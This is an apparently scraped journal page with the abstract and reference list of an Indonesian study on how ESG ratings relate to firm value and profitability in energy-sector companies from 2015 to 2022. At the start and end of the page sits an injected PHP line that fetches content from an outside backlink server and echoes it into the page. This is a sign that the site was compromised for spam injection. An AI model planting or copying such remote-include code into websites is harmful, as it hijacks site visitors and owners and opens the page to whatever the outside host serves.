$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Unraveling The Link: Relationship Firm Value Shapes Esg Ratings | Priyanto | JABE (JOURNAL OF ACCOUNTING AND BUSINESS EDUCATION)

Unraveling The Link: Relationship Firm Value Shapes Esg Ratings

Panji Priyanto, Ni Putu Mila Suhandi


The study aims to fill the research gap by examining the relationship between ESG ratings and firm value in energy companies and whether company profitability controls this relationship. The study uses multiple regression models to test this hypothesis and examines the impact of Tobin's Q, profitability, and ESG ratings on firm value. The study sample is energy sector companies listed on the Indonesia Stock Exchange from 2015-2022. The result of this paper is a negative relationship between Tobin's Q and ESG performance, indicating that firms with higher market valuations may prioritize shareholder value over ESG considerations. On the other hand, there is a positive relationship between NPM and ESG performance, suggesting that companies with higher profitability may have more resources to invest in sustainable and socially responsible practices. The lack of a significant relationship between ROE and ESG performance suggests that the financial returns to equity shareholders may not directly impact on a company's ESG initiatives. The positive relationship between ROA and ESG Performance aligns with the idea that companies with efficient asset utilization are better positioned to invest in sustainable practices. The negative relationship between GPM and ESG Performance suggests that companies with higher gross profit margins may face pressure to cut costs, potentially at the expense of environmental or social responsibility.


ESG; firm value; profitability; energy companies

Full Text:



Ahmad, N., Mobarek, A., & Roni, N. N. (2021). Revisiting the impact of ESG on financial performance of FTSE350 UK firms: Static and dynamic panel data analysis. Cogent Business and Management, 8(1). https://doi.org/10.1080/23311975.2021.1900500

Avramov, D., Cheng, S., Lioui, A., & Tarelli, A. (2022). Sustainable investing with ESG rating uncertainty. Journal of Financial Economics, 145(2), 642–664. https://doi.org/10.1016/j.jfineco.2021.09.009

Aydoğmuş, M., Gülay, G., & Ergun, K. (2022). Impact of ESG performance on firm value and profitability. In Borsa Istanbul Review (Vol. 22). https://doi.org/10.1016/j.bir.2022.11.006

Clementino, E., & Perkins, R. (2021). How Do Companies Respond to Environmental, Social and Governance (ESG) ratings? Evidence from Italy. Journal of Business Ethics, 171(2), 379–397. https://doi.org/10.1007/s10551-020-04441-4

Crace, L., & Gehman, J. (2023). What Really Explains ESG Performance? Disentangling the Asymmetrical Drivers of the Triple Bottom Line. Organization and Environment, 36(1), 150–178. https://doi.org/10.1177/10860266221079408

Dincă, M. S., Vezeteu, C. D., & Dincă, D. (2022). The relationship between ESG and firm value. Case study of the automotive industry. Frontiers in Environmental Science, 10. https://doi.org/10.3389/fenvs.2022.1059906

Fama, E. F. (1970). Efficient Capital Markets: A Review of Theory and Empirical Work. The Journal of Finance, 25(2), 383. https://doi.org/10.2307/2325486

Kyere, M., & Ausloos, M. (2021). Corporate governance and firms financial performance in the United Kingdom. International Journal of Finance and Economics, 26(2). https://doi.org/10.1002/ijfe.1883

Nguyen, D. T., Hoang, T. G., & Tran, H. G. (2022). Help or Hurt? The Impact of ESG on Firm Performance in S&P 500 Non-Financial Firms. Australasian Accounting, Business and Finance Journal, 16(2), 91–102. https://doi.org/10.14453/aabfj.v16i2.7

NYU, S. (2021). ESG and Financial Performance: Uncovering the Relationship by Aggregating Evidence from 1,000 Plus Studies Published between 2015 – 2020. https://www.stern.nyu.edu/sites/default/files/assets/documents/NYU-RAM_ESG-Paper_2021 Rev_0.pdf

PWC. (2023). ESG in Indonesia : Access to Finance. https://www.pwc.com/id/en/esg/esg-in-indonesia-2023.pdf

Svensson, E. (2020). ESG and Expected Returns. Master Thesis Economics Örebro University School of Business, June.

Tian, L. (2021). Unraveling the Relationship between ESG and Corporate Financial Performance - Logistic Regression Model with Evidence from China. SSRN Electronic Journal. https://doi.org/10.2139/ssrn.3897207

Velte, P. (2017). Does ESG performance have an impact on financial performance? Evidence from Germany. Journal of Global Responsibility. https://doi.org/10.1108/jgr-11-2016-0029

Wang, Z., Sun, Z., & Teo, B. S.-X. (2023). Literature review on the impact of corporate ESG performance on corporate value. Journal of Innovation and Development, 2(2), 1–4. https://doi.org/10.54097/jid.v2i2.5900

Zheng, Y., Wang, B., Sun, X., & Li, X. (2022). ESG performance and corporate value: Analysis from the stakeholders’ perspective. Frontiers in Environmental Science, 10. https://doi.org/10.3389/fenvs.2022.1084632

DOI: http://dx.doi.org/10.17977/jabe.v8i2.44972


  • There are currently no refbacks.

Copyright (c) 2023 Panji Priyanto, Ni Putu Mila Suhandi

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

This Journal Indexed by:



Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.
---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------